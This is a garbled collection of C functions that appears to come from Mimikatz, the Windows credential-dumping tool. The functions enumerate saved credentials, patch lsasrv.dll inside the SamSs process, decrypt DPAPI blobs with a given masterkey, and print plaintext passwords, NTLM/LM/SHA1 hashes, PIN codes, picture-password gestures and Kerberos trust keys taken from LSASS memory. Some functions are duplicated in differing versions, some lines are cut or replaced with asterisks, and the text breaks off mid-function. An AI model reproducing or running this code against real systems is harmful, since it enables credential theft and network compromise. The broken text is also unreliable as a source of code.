void kull_m_string_printSuspectUnicodeString(PVOID data, DWORD size) { UNICODE_STRING uString = {(USHORT) size, (USHORT) size, (LPWSTR) data}; if(kull_m_string_suspectUnicodeString(&uString)) kprintf(L"%wZ", &uString); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); }
void kull_m_cred_vault_clear_descr(DWORD level, PKULL_M_CRED_VAULT_CLEAR clear) { DWORD i; UNICODE_STRING creds; kprintf(L"%*s" L"**VAULT CREDENTIAL CLEAR ATTRIBUTES**\n", level << 1, L""); if(clear) { kprintf(L"%*s" L" version: %08x - %u\n", level << 1, L"", clear->version, clear->version); kprintf(L"%*s" L" count : %08x - %u\n", level << 1, L"", clear->count, clear->count); kprintf(L"%*s" L" unk : %08x - %u\n", level << 1, L"", clear->unk, clear->unk); if(clear->entries) { kprintf(L"\n"); for(i = 0; i < clear->count; i++) { kprintf(L"%*s" L" * ", level << 1, L""); switch(clear->entries[i]->id) { case 1: kprintf(L"ressource : "); break; case 2: kprintf(L"identity : "); break; case 3: kprintf(L"authenticator : "); break; default: kprintf(L"property %3u : ", clear->entries[i]->id); break; } creds.Buffer = (PWSTR) clear->entries[i]->data; creds.Length = creds.MaximumLength = (USHORT) clear->entries[i]->size; if((clear->entries[i]->id < 100) && kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%s", clear->entries[i]->data); else kull_m_string_wprintf_hex(clear->entries[i]->data, clear->entries[i]->size, 1); kprintf(L"\n"); } } } }
void kull_m_cred_attribute_descr(DWORD level, PKULL_M_CRED_ATTRIBUTE Attribute) { UNICODE_STRING uString; kprintf(L"%*s" L"**ATTRIBUTE**\n", level << 1, L""); if(Attribute) { kprintf(L"%*s" L" Flags : %08x - %u\n", level << 1, L"", Attribute->Flags, Attribute->Flags); kprintf(L"%*s" L" Keyword : %s\n", level << 1, L"", Attribute->Keyword); kprintf(L"%*s" L" Value : ", level << 1, L""); uString.Length = uString.MaximumLength = (USHORT) Attribute->ValueSize; uString.Buffer = (PWSTR) Attribute->Value; if(kull_m_string_suspectUnicodeString(&uString)) kprintf(L"%wZ", &uString); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); kprintf(L"\n"); } }
void kuhl_m_sekurlsa_trust_domainkeys(struct _KDC_DOMAIN_KEYS_INFO * keysInfo, PCWSTR prefix, BOOL incoming, PCUNICODE_STRING domain) { KULL_M_MEMORY_HANDLE hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLsass = {keysInfo->keys, cLsass.hLsassMem}, aData = {NULL, &hBuffer}; DWORD i; PKDC_DOMAIN_KEYS domainKeys; if((keysInfo->keysSize && keysInfo->keys) || (keysInfo->password.Length && keysInfo->password.Buffer)) { kprintf(L"\n [%s] ", prefix); kprintf(incoming ? L"-> %wZ\n" : L"%wZ ->\n", domain); if(kull_m_string_getUnicodeString(&keysInfo->password, cLsass.hLsassMem)) { kprintf(L"\tfrom: "); if(kull_m_string_suspectUnicodeString(&keysInfo->password)) kprintf(L"%wZ", &keysInfo->password); else kull_m_string_wprintf_hex(keysInfo->password.Buffer, keysInfo->password.Length, 1); LocalFree(keysInfo->password.Buffer); } kprintf(L"\n"); if(keysInfo->keysSize && keysInfo->keys) { if(domainKeys = (PKDC_DOMAIN_KEYS) LocalAlloc(LPTR, keysInfo->keysSize)) { aData.address = domainKeys; if(kull_m_memory_copy(&aData, &aLsass, keysInfo->keysSize)) { for(i = 0; i < domainKeys->nbKeys; i++) { kprintf(L"\t* %s : ", kuhl_m_kerberos_ticket_etype(domainKeys->keys[i].type)); kull_m_string_wprintf_hex((PBYTE) domainKeys + domainKeys->keys[i].offset, domainKeys->keys[i].size, 0); kprintf(L"\n"); } } LocalFree(domainKeys); } } } }
void kull_m_cred_descr(DWORD level, PKULL_M_CRED_BLOB cred) { UNICODE_STRING uString; kprintf(L"%*s" L"**CREDENTIAL**\n", level << 1, L""); if(cred) { kprintf(L"%*s" L" credFlags : %08x - %u\n", level << 1, L"", cred->credFlags, cred->credFlags); kprintf(L"%*s" L" credSize : %08x - %u\n", level << 1, L"", cred->credSize, cred->credSize); kprintf(L"%*s" L" credUnk0 : %08x - %u\n\n", level << 1, L"", cred->credUnk0, cred->credUnk0); kprintf(L"%*s" L" Type : %08x - %u\n", level << 1, L"", cred->Type, cred->Type); kprintf(L"%*s" L" Flags : %08x - %u\n", level << 1, L"", cred->Flags, cred->Flags); kprintf(L"%*s" L" LastWritten : ", level << 1, L""); kull_m_string_displayFileTime(&cred->LastWritten); kprintf(L"\n"); kprintf(L"%*s" L" unkFlagsOrSize : %08x - %u\n", level << 1, L"", cred->unkFlagsOrSize, cred->unkFlagsOrSize); kprintf(L"%*s" L" Persist : %08x - %u\n", level << 1, L"", cred->Persist, cred->Persist); kprintf(L"%*s" L" AttributeCount : %08x - %u\n", level << 1, L"", cred->AttributeCount, cred->AttributeCount); kprintf(L"%*s" L" unk0 : %08x - %u\n", level << 1, L"", cred->unk0, cred->unk0); kprintf(L"%*s" L" unk1 : %08x - %u\n", level << 1, L"", cred->unk1, cred->unk1); kprintf(L"%*s" L" TargetName : %s\n", level << 1, L"", cred->TargetName); kprintf(L"%*s" L" TargetAlias : %s\n", level << 1, L"", cred->TargetAlias); kprintf(L"%*s" L" Comment : %s\n", level << 1, L"", cred->Comment); kprintf(L"%*s" L" UnkData : %s\n", level << 1, L"", cred->UnkData); kprintf(L"%*s" L" UserName : %s\n", level << 1, L"", cred->UserName); kprintf(L"%*s" L" CredentialBlob : ", level << 1, L""); uString.Length = uString.MaximumLength = (USHORT) cred->CredentialBlobSize; uString.Buffer = (PWSTR) cred->CredentialBlob; if(kull_m_string_suspectUnicodeString(&uString)) kprintf(L"%wZ", &uString); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); kprintf(L"\n"); kprintf(L"%*s" L" Attributes : ", level << 1, L"", cred->AttributeCount); kull_m_cred_attributes_descr(level + 1, cred->Attributes, cred->AttributeCount); } }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; do { if(CredEnumerate(NULL, flags, &credCount, &pCredential)) { for(i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR) pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT) pCredential[i]->CredentialBlobSize; if(kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_dpapi_unprotect(int argc, wchar_t * argv[]) { DATA_BLOB dataIn, dataOut, dataEntropy = {0, NULL}; PKULL_M_DPAPI_BLOB blob; PCWSTR szEntropy, outfile, infile, szMasterkey, szPassword = NULL; PWSTR description = NULL; CRYPTPROTECT_PROMPTSTRUCT promptStructure = {sizeof(CRYPTPROTECT_PROMPTSTRUCT), CRYPTPROTECT_PROMPT_ON_PROTECT | CRYPTPROTECT_PROMPT_ON_UNPROTECT | CRYPTPROTECT_PROMPT_STRONG, NULL, MIMIKATZ}, *pPrompt; DWORD flags = 0; UNICODE_STRING uString; BOOL statusDecrypt = FALSE; PBYTE masterkey = NULL; DWORD masterkeyLen = 0; if(kull_m_string_args_byName(argc, argv, L"entropy", &szEntropy, NULL)) kull_m_string_stringToHexBuffer(szEntropy, &dataEntropy.pbData, &dataEntropy.cbData); if(kull_m_string_args_byName(argc, argv, L"machine", NULL, NULL)) flags |= CRYPTPROTECT_LOCAL_MACHINE; pPrompt = kull_m_string_args_byName(argc, argv, L"prompt", NULL, NULL) ? &promptStructure : NULL; if(kull_m_string_args_byName(argc, argv, L"masterkey", &szMasterkey, NULL)) kull_m_string_stringToHexBuffer(szMasterkey, &masterkey, &masterkeyLen); kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL); kprintf(L"\nflags : "); kull_m_dpapi_displayProtectionFlags(flags); kprintf(L"\n"); kprintf(L"prompt flags: "); if(pPrompt) kull_m_dpapi_displayPromptFlags(pPrompt->dwPromptFlags); kprintf(L"\n"); kprintf(L"entropy : "); kull_m_string_wprintf_hex(dataEntropy.pbData, dataEntropy.cbData, 0); kprintf(L"\n"); kprintf(L"masterkey : "); kull_m_string_wprintf_hex(masterkey, masterkeyLen, 0); kprintf(L"\n"); kprintf(L"password : %s\n\n", szPassword ? szPassword : L""); if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, &dataIn.pbData, &dataIn.cbData)) { if(blob = kull_m_dpapi_blob_create(dataIn.pbData)) { kull_m_dpapi_blob_descr(blob); if(masterkey && masterkeyLen) statusDecrypt = kull_m_dpapi_unprotect_blob(blob, masterkey, masterkeyLen, dataEntropy.pbData, dataEntropy.cbData, szPassword, (LPVOID *) &dataOut.pbData, &dataOut.cbData); else statusDecrypt = CryptUnprotectData(&dataIn, &description, &dataEntropy, NULL, pPrompt, 0, &dataOut); if(statusDecrypt) { if(description) { kprintf(L"description : %s\n", description); LocalFree(description); } if(kull_m_string_args_byName(argc, argv, L"out", &outfile, NULL)) { if(kull_m_file_writeData(outfile, dataOut.pbData, dataOut.cbData)) kprintf(L"Write to file \'%s\' is OK\n", outfile); } else { uString.Length = uString.MaximumLength = (USHORT) dataOut.cbData; uString.Buffer = (PWSTR) dataOut.pbData; kprintf(L"data - "); if((uString.Length <= USHRT_MAX) && (kull_m_string_suspectUnicodeString(&uString))) kprintf(L"text : %s", dataOut.pbData); else { kprintf(L"hex : "); kull_m_string_wprintf_hex(dataOut.pbData, dataOut.cbData, 1 | (16 << 16)); } kprintf(L"\n"); } LocalFree(dataOut.pbData); } else if(!masterkey) PRINT_ERROR_AUTO(L"CryptUnprotectData"); kull_m_dpapi_blob_delete(blob); } LocalFree(dataIn.pbData); } } if(dataEntropy.pbData) LocalFree(dataEntropy.pbData); if(masterkey) LocalFree(masterkey); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL }; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = { NULL, &hLocalMemory }, aPatchMemory = { NULL, &hLocalMemory }; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if (!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if (CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, sizeof(CredpCloneCredentialReferences) / sizeof(KULL_M_PATCH_GENERIC), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if (kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if (hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if (kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if (!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if (CredEnumerate(NULL, flags, &credCount, &pCredential)) { for (i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR)pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT)pCredential[i]->CredentialBlobSize; if (kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while ((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(const VAULT_GUID_STRING * pGuidString, PVOID enumItem, PVOID getItem, BOOL is8) { PVAULT_ITEM_8 enumItem8 = (PVAULT_ITEM_8) enumItem, getItem8 = (PVAULT_ITEM_8) getItem; PWSTR name, domain, sid, bgPath = NULL; UNICODE_STRING uString; DWORD i, dwError, szNeeded; PVAULT_PICTURE_PASSWORD_ELEMENT pElements; PVAULT_BIOMETRIC_ELEMENT bElements; PWCHAR bufferStart; HKEY hPicturePassword, hUserPicturePassword; if(enumItem8->Identity && (enumItem8->Identity->Type == ElementType_ByteArray)) { kprintf(L"\t\tUser : "******"\t\tUser : %s\\%s\n", domain, name); LocalFree(name); LocalFree(domain); } else kull_m_string_displaySID((PSID) enumItem8->Identity->data.ByteArray.Value); kprintf(L"\n"); if(pGuidString->guid.Data1 == 0x0b4b8a12b) { dwError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\LogonUI\\PicturePassword", 0, KEY_ENUMERATE_SUB_KEYS, &hPicturePassword); if(dwError == STATUS_SUCCESS) { if(ConvertSidToStringSid((PSID) enumItem8->Identity->data.ByteArray.Value, &sid)) { dwError = RegOpenKeyEx(hPicturePassword, sid, 0, KEY_QUERY_VALUE, &hUserPicturePassword); if(dwError == STATUS_SUCCESS) { dwError = RegQueryValueEx(hUserPicturePassword, L"bgPath", NULL, NULL, NULL, &szNeeded); if(dwError == STATUS_SUCCESS) { if(bgPath = (PWSTR) LocalAlloc(LPTR, szNeeded)) { dwError = RegQueryValueEx(hUserPicturePassword, L"bgPath", NULL, NULL, (LPBYTE) bgPath, &szNeeded); if(dwError != STATUS_SUCCESS) { PRINT_ERROR(L"RegQueryValueEx 2 : %08x\n", dwError); bgPath = (PWSTR) LocalFree(bgPath); } } } else PRINT_ERROR(L"RegQueryValueEx 1 : %08x\n", dwError); RegCloseKey(hUserPicturePassword); } else PRINT_ERROR(L"RegOpenKeyEx SID : %08x\n", dwError); LocalFree(sid); } else PRINT_ERROR_AUTO(L"ConvertSidToStringSid"); RegCloseKey(hPicturePassword); } else PRINT_ERROR(L"RegOpenKeyEx PicturePassword : %08x\n", dwError); } } if(getItem8 && getItem8->Authenticator && (getItem8->Authenticator->Type == ElementType_ByteArray)) { uString.Length = uString.MaximumLength = (USHORT) getItem8->Authenticator->data.ByteArray.Length; uString.Buffer = (PWSTR) getItem8->Authenticator->data.ByteArray.Value; kprintf(L"\t\tPassword : "******"%s", uString.Buffer); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); kprintf(L"\n"); } if(enumItem8->Properties && (enumItem8->cbProperties > 0) && enumItem8->Properties + 0) { switch(pGuidString->guid.Data1) { case 0x0b2e033f5: // pin if((enumItem8->Properties + 0)->Type == ElementType_UnsignedShort) kprintf(L"\t\tPIN Code : %04hu\n", (enumItem8->Properties + 0)->data.UnsignedShort); break; case 0x0b4b8a12b: // picture if((enumItem8->Properties + 0)->Type == ElementType_ByteArray) { pElements = (PVAULT_PICTURE_PASSWORD_ELEMENT) (enumItem8->Properties + 0)->data.ByteArray.Value; if(bgPath) { kprintf(L"\t\tBackground path : %s\n", bgPath); LocalFree(bgPath); } kprintf(L"\t\tPicture password (grid is 150*100)\n"); for(i = 0; i < 3; i++) { kprintf(L"\t\t [%u] ", i); switch(pElements[i].Type) { case PP_Point: kprintf(L"point (x = %3u ; y = %3u)", pElements[i].point.coord.x, pElements[i].point.coord.y); break; case PP_Circle: kprintf(L"circle (x = %3u ; y = %3u ; r = %3u) - %s", pElements[i].circle.coord.x, pElements[i].circle.coord.y, pElements[i].circle.size, (pElements[i].circle.clockwise ? L"clockwise" : L"anticlockwise")); break; case PP_Line: kprintf(L"line (x = %3u ; y = %3u) -> (x = %3u ; y = %3u)", pElements[i].line.start.x, pElements[i].line.start.y, pElements[i].line.end.x, pElements[i].line.end.y); break; default: kprintf(L"%u\n", pElements[i].Type); } kprintf(L"\n"); } } break; case 0x0fec87291: // biometric if((enumItem8->Properties + 0)->Type == ElementType_ByteArray) { bElements = (PVAULT_BIOMETRIC_ELEMENT) (enumItem8->Properties + 0)->data.ByteArray.Value; bufferStart = (PWCHAR) ((PBYTE) bElements + bElements->headersize); kprintf(L"\t\tProperty : "); if(bElements->domainnameLength > 1) kprintf(L"%.*s\\", bElements->domainnameLength - 1, bufferStart + bElements->usernameLength); if(bElements->usernameLength > 1) kprintf(L"%.*s", bElements->usernameLength - 1, bufferStart); kprintf(L"\n"); } break; default: kprintf(L"todo ?\n"); } } }
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags) { PUNICODE_STRING credentials, username = NULL, domain = NULL, password = NULL; PMSV1_0_PRIMARY_CREDENTIAL pPrimaryCreds; PRPCE_CREDENTIAL_KEYCREDENTIAL pRpceCredentialKeyCreds; PKERB_HASHPASSWORD_6 pHashPassword; UNICODE_STRING buffer; PVOID base; DWORD type, i; if(mesCreds) { if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL) { type = flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL_MASK; credentials = (PUNICODE_STRING) mesCreds; if(credentials->Buffer) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(((PUNICODE_STRING) mesCreds)->Buffer, ((PUNICODE_STRING) mesCreds)->Length); switch(type) { case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY: pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer; kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE); dprintf("\n\t * Username : %wZ\n\t * Domain : %wZ", &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); if(pPrimaryCreds->isLmOwfPassword) { dprintf("\n\t * LM : "); kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); } if(pPrimaryCreds->isNtOwfPassword) { dprintf("\n\t * NTLM : "); kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); } if(pPrimaryCreds->isShaOwPassword) { dprintf("\n\t * SHA1 : "); kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); } break; case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer; base = (PBYTE) pRpceCredentialKeyCreds + sizeof(RPCE_CREDENTIAL_KEYCREDENTIAL) + (pRpceCredentialKeyCreds->unk0 - 1) * sizeof(MARSHALL_KEY); for (i = 0; i < pRpceCredentialKeyCreds->unk0; i++) kuhl_m_sekurlsa_genericKeyOutput(&pRpceCredentialKeyCreds->key[i], &base); break; default: dprintf("\n\t * Raw data : "); kull_m_string_dprintf_hex(credentials->Buffer, credentials->Length, 1); } } } else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_PINCODE) { if(mesCreds->UserName.Buffer) { if(kull_m_string_getDbgUnicodeString(&mesCreds->UserName)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(mesCreds->UserName.Buffer, mesCreds->UserName.MaximumLength); dprintf("\n\t * PIN code : %wZ", &mesCreds->UserName); LocalFree(mesCreds->UserName.Buffer); } } } else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST) { pHashPassword = (PKERB_HASHPASSWORD_6) mesCreds; dprintf("\n\t\t%s : ", kuhl_m_kerberos_ticket_etype(pHashPassword->Type)); if(buffer.Length = buffer.MaximumLength = (USHORT) pHashPassword->Size) { buffer.Buffer = (PWSTR) pHashPassword->Checksump; if(kull_m_string_getDbgUnicodeString(&buffer)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(buffer.Buffer, buffer.MaximumLength); kull_m_string_dprintf_hex(buffer.Buffer, buffer.Length, 0); LocalFree(buffer.Buffer); } } else dprintf("<no size, buffer is incorrect>"); } else { if(mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer || mesCreds->Password.Buffer) { if(kull_m_string_getDbgUnicodeString(&mesCreds->UserName) && kull_m_string_suspectUnicodeString(&mesCreds->UserName)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) username = &mesCreds->UserName; else domain = &mesCreds->UserName; } if(kull_m_string_getDbgUnicodeString(&mesCreds->Domaine) && kull_m_string_suspectUnicodeString(&mesCreds->Domaine)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) domain = &mesCreds->Domaine; else username = &mesCreds->Domaine; } if(kull_m_string_getDbgUnicodeString(&mesCreds->Password) /*&& !kull_m_string_suspectUnicodeString(&mesCreds->Password)*/) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength); password = &mesCreds->Password; } if(password || !(flags & KUHL_SEKURLSA_CREDS_DISPLAY_WPASSONLY)) { dprintf((flags & KUHL_SEKURLSA_CREDS_DISPLAY_LINE) ? "%wZ\t%wZ\t" : "\n\t * Username : %wZ" "\n\t * Domain : %wZ" "\n\t * Password : "******"%.*S", password->Length / sizeof(wchar_t), password->Buffer); else dprintf("%wZ", password ? password : &uNull); } else kull_m_string_dprintf_hex(password->Buffer, password->Length, 1); } LocalFree(mesCreds->UserName.Buffer); LocalFree(mesCreds->Domaine.Buffer); LocalFree(mesCreds->Password.Buffer); } } if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NEWLINE) dprintf("\n"); } else dprintf("LUID KO\n"); }
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags, IN OPTIONAL PKUHL_M_SEKURLSA_EXTERNAL externalCallback, IN OPTIONAL LPVOID externalCallbackData) { PUNICODE_STRING credentials, username = NULL, domain = NULL, password = NULL; PMSV1_0_PRIMARY_CREDENTIAL pPrimaryCreds; PRPCE_CREDENTIAL_KEYCREDENTIAL pRpceCredentialKeyCreds; PVOID base; DWORD type, i; if(mesCreds) { if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL) { type = flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL_MASK; credentials = (PUNICODE_STRING) mesCreds; if(credentials->Buffer) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) (*lsassLocalHelper->pLsaUnprotectMemory)(((PUNICODE_STRING) mesCreds)->Buffer, ((PUNICODE_STRING) mesCreds)->Length); switch(type) { case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY: pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer; kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE); if(externalCallback) externalCallback(luid, &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName, NULL, pPrimaryCreds->LmOwfPassword, pPrimaryCreds->NtOwfPassword, externalCallbackData); kprintf(L"\n\t * Username : %wZ" L"\n\t * Domain : %wZ" , &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); kprintf(L"\n\t * LM : "); kull_m_string_wprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n\t * NTLM : "); kull_m_string_wprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n\t * SHA1 : "); kull_m_string_wprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); break; case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer; base = (PBYTE) pRpceCredentialKeyCreds + sizeof(RPCE_CREDENTIAL_KEYCREDENTIAL) + (pRpceCredentialKeyCreds->unk0 - 1) * sizeof(MARSHALL_KEY); for (i = 0; i < pRpceCredentialKeyCreds->unk0; i++) kuhl_m_sekurlsa_genericKeyOutput(&pRpceCredentialKeyCreds->key[i], &base); break; default: kprintf(L"\n\t * Raw data : "); kull_m_string_wprintf_hex(credentials->Buffer, credentials->Length, 1); } } } else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_PINCODE) { if(mesCreds->UserName.Buffer) { if(kull_m_string_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) (*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->UserName.Buffer, mesCreds->UserName.MaximumLength); kprintf(L"\n\t * PIN code : %wZ", &mesCreds->UserName); LocalFree(mesCreds->UserName.Buffer); } } } else { if(mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer || mesCreds->Password.Buffer) { if(kull_m_string_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem) && kull_m_string_suspectUnicodeString(&mesCreds->UserName)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) username = &mesCreds->UserName; else domain = &mesCreds->UserName; } if(kull_m_string_getUnicodeString(&mesCreds->Domaine, cLsass.hLsassMem) && kull_m_string_suspectUnicodeString(&mesCreds->Domaine)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) domain = &mesCreds->Domaine; else username = &mesCreds->Domaine; } if(kull_m_string_getUnicodeString(&mesCreds->Password, cLsass.hLsassMem) /*&& !kull_m_string_suspectUnicodeString(&mesCreds->Password)*/) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) (*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength); password = &mesCreds->Password; } if(externalCallback) externalCallback(luid, username, domain, password, NULL, NULL, externalCallbackData); if(password || !(flags & KUHL_SEKURLSA_CREDS_DISPLAY_WPASSONLY)) { kprintf((flags & KUHL_SEKURLSA_CREDS_DISPLAY_LINE) ? L"%wZ\t%wZ\t" : L"\n\t * Username : %wZ" L"\n\t * Domain : %wZ" 